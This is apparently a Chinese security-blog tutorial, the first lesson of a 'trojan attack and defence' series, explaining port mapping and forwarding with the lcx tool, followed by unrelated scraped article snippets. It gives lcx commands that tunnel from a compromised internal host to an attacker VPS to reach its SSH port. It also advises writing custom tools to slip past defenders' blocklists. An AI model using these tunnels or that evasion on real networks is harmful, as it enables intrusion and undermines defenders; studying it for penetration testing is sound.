教你学木马攻防 | 隧道木马 | 第一课

前言

今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。

场景1 端口映射

端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景。

  1. 一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机A被hacker完全控制。
  2. 接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网ip。
  3. 如果hacker想直接访问主机B的 80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口。

从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网ip的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的ip上了。

场景2 端口转发

端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示。

  1. hacker位于主机A,主机A可能是个人电脑,也可能是hacker控制的主机。
  2. hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的“肉鸡”。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。
  3. 主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B的22端口,执行shell命令,这就需要端口转发。

那么木马怎么实现端口转发,才能让hacker访问主机B的22端口呢? 这就需要一台主机C,一个公网的VPS,去阿里云或者腾讯云买。木马的服务端运行在主机C,同时监听两个端口 port1 与port2,木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2,而hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路。如下图所示。

lcx是一款内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。这个工具很早就已经有了,现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。代码如下:

https://github.com/windworst/LCX/

下面说一下它的使用以及功能说明:

Usage of Packet Transmit:

./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]

./lcx -about

[options:]

-listen <local port1>  <local port2>

-tran   <local port>   <remote host>  <remote port>

-slave  <remote host1> <remote port1> <remote host2> <remote port2>

-hex   : hex mode data dump

-text  : text mode data dump

-log   : save transfer log

对于场景1,可以使用lcx的tran模式来实现。假设主机A 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放80端口。 在主机A上运行 :

./lcx -tran 8080 192.168.1.5 80

这个时候,hacker只要连接到主机A的8080端口,即可访问到主机B的80端口。

对于场景2,使用lcx的listen和slave模式来实现。假设主机C 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放22端口。 在主机C上监听8080和8081端口:

./lcx -listen 8080 8081

在主机B上连接22端口,并连接主机C的8081端口:

./lcx -slave 192.168.1.5 22  10.10.10.1 8081

这个时候,hacker只需要连接ip10.10.10.1的8080端口,即可直接连接到22端口,执行命令。

取代lcx

使用工具很简单,但是对这些工具的封锁也很简单。这些开源的网络安全工具早就处于防御端的黑名单里。因此自己写一个类似的工具也是一项必备的能力。 在github中就有这样类似的项目:

https://github.com/cw1997/NATBypass

代码很简单,只是单个golang文件,仿照lcx是实现了listen,tran和slave功能。关键的代码很简单,对应了下图中三个红框圈住的三个函数。

最后

关注公众号:七夜安全博客

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
  • 回复【5】:领取 编译原理 教程
  • 回复【6】:领取 渗透测试 教程
  • 回复【7】:领取 人工智能数学基础 教程

原文地址:https://www.cnblogs.com/qiyeboy/p/10350621.html

时间: 2024-08-05 13:58:51

教你学木马攻防 | 隧道木马 | 第一课的相关文章

大海教你学手游2015CocosLua第一季_01环境搭建与场景封装

课程地址:http://ke.qq.com/cgi-bin/courseDetail?course_id=78017 cocos2d-x直播课交流群: 461039382(发布每节课视频和资料) 网盘资料下载:http://pan.baidu.com/s/1dDvZvAp ( 密码要进群才有) Cocos是一款跨平台移动游戏引擎,实际上是把不同平台的图形处理.交互事件通过 C++实现了统一Api,见下图: 中间蓝色的部分Cocos2d-x就是通过C++调用ios.Android等平台的图形库Op

寒哥教你学iOS - 经验漫谈

http://www.jianshu.com/p/cb54054d3add 寒哥教你学iOS - 经验漫谈 字数2848 阅读1896 评论19 喜欢43 顺便来个广告 iOS开发者 群173499350 给大家提供一个交流技术 也可以聊天打屁的平台 本篇文章主要讲解 4个问题 load妙用 aop面向切面编程 NSNumber Or Int @()适配64位 1 让appDelegate 减少负担 经过漫长时间的学习 你终于掌握了iOS大法 你找到了份iOS开发的工作 信誓旦旦的要开始你的co

教妹学 Java:大有可为的集合

00.故事的起源 “二哥,上一篇<泛型>的反响效果怎么样啊?”三妹对她提议的<教妹学 Java>专栏很是关心. “有人评论说,‘二哥你敲代码都敲出幻想了啊.’” “呵呵,这句话充斥着满满的讽刺意味啊.”三妹有点难过了起来. “不过,也有人评论说,‘建议这个系列的文章多写啊,因为我花了半个月都没看懂< Java 编程思想>中关于泛型的讲解,但再看完这篇文章后终于融会贯通了,比心.’” “二哥,你能不能先说好消息啊?真是的.我也要给这位暖心的读者比心了.”三妹说完这句话就在

教妹学 Java:动态伴侣 Groovy

00.故事的起源 “二哥,听说上一篇<多线程>被 CSDN 创始人蒋涛点赞了?”三妹对她提议的<教妹学 Java>专栏一直很关心. “嗯,有点激动.刚开始还以为是个马甲,没想到是真人!” “其实蒋涛点赞的文章很多很多了,二哥的只是其中一篇而已.”三妹出乎意料地泼起了冷水. “你说得没错.但这的确给我注入了新的能量,蒋涛毕竟是业界的大佬啊.” “那就让我们开始新的篇章吧!我继续来提问,二哥你继续回答.”三妹已经迫不及待了. 01.二哥,什么是 Groovy 啊? 三妹啊,听哥来给你慢

Python资料学习《疯狂Python讲义》+《教孩子学编程Python语言版》+《Python编程导论第2版》

适合初学者入门,适合Python就业,包含网络编程.数据分析.网络爬虫等大量企业实用的知识.建议学习<疯狂Python讲义>电子书和<教孩子学编程Python语言版>电子书,并进行配套的代码测试. <疯狂Python讲义>电子书适合初学者入门,适合Python就业,包含网络编程.数据分析.网络爬虫等大量企业实用的知识. <疯狂Python讲义>电子书第一部分系统讲解了Python的基本语法结构.Python的函数编程.Python的类和对象.模块和包.异常处

demopu教你学php,php运算符优先级

demopu教你学php,php运算符优先级例子 <?php$a = 3 * 3 % 5; // (3 * 3) % 5 = 4$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2 $a = 1;$b = 2;$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5?> 尽管 = 比其它大多数的运算符的优先级低,PHP 仍旧允许类似如下的表达式:if (!$a = foo()

三分钟教你学Git (四)之紧急救助

如果你不小心git reset --hard HEAD^ 然后这个commit又没有在别的git仓库中,怎么办?是不是这次修改就丢了呢? 当然不是,git为我们每次都历史都保留了reference log 如下: $ git commit -A -m "hongchangfirst commit" 你现在看git的历史记录,你可以看到两次提交: $ git log * d1f3fg5 (HEAD, master) hongchangfirst commit 现在让我们来重置回第一次提交

三分钟教你学Git (一)之技巧

先来看看几个比较有用的技巧 git stash 将工作区中的状态保存到栈中,供以后apply/pop.可以把它理解为一个commit,但是是存在另一个仓库里的. git reset --hard 将暂存区,工作区,版本库都恢复到某一次提交的状态 --soft 暂存区和工作区都不变,只改变版本库的状态 --mixed (默认) 将版本库和暂存区都改变,不改变工作区 如果在commit之后进行push,发现别人在你之前做了push,这时应该怎么办呢? git reset --mixed HEAD^

南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup

南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup 题目描述 文件下载地址 很明显,文件之间进行亦或就可得到flag,不再多说,直接上脚本 1 #coding:utf-8 2 file_a = open('密文.txt', 'rb') 3 file_b = open('明文.txt', 'rb') 4 ? 5 str_a = ''.join(file_a.readlines()) 6 str_b = ''.join(file_b.readlines()) 7 ? 8 ans =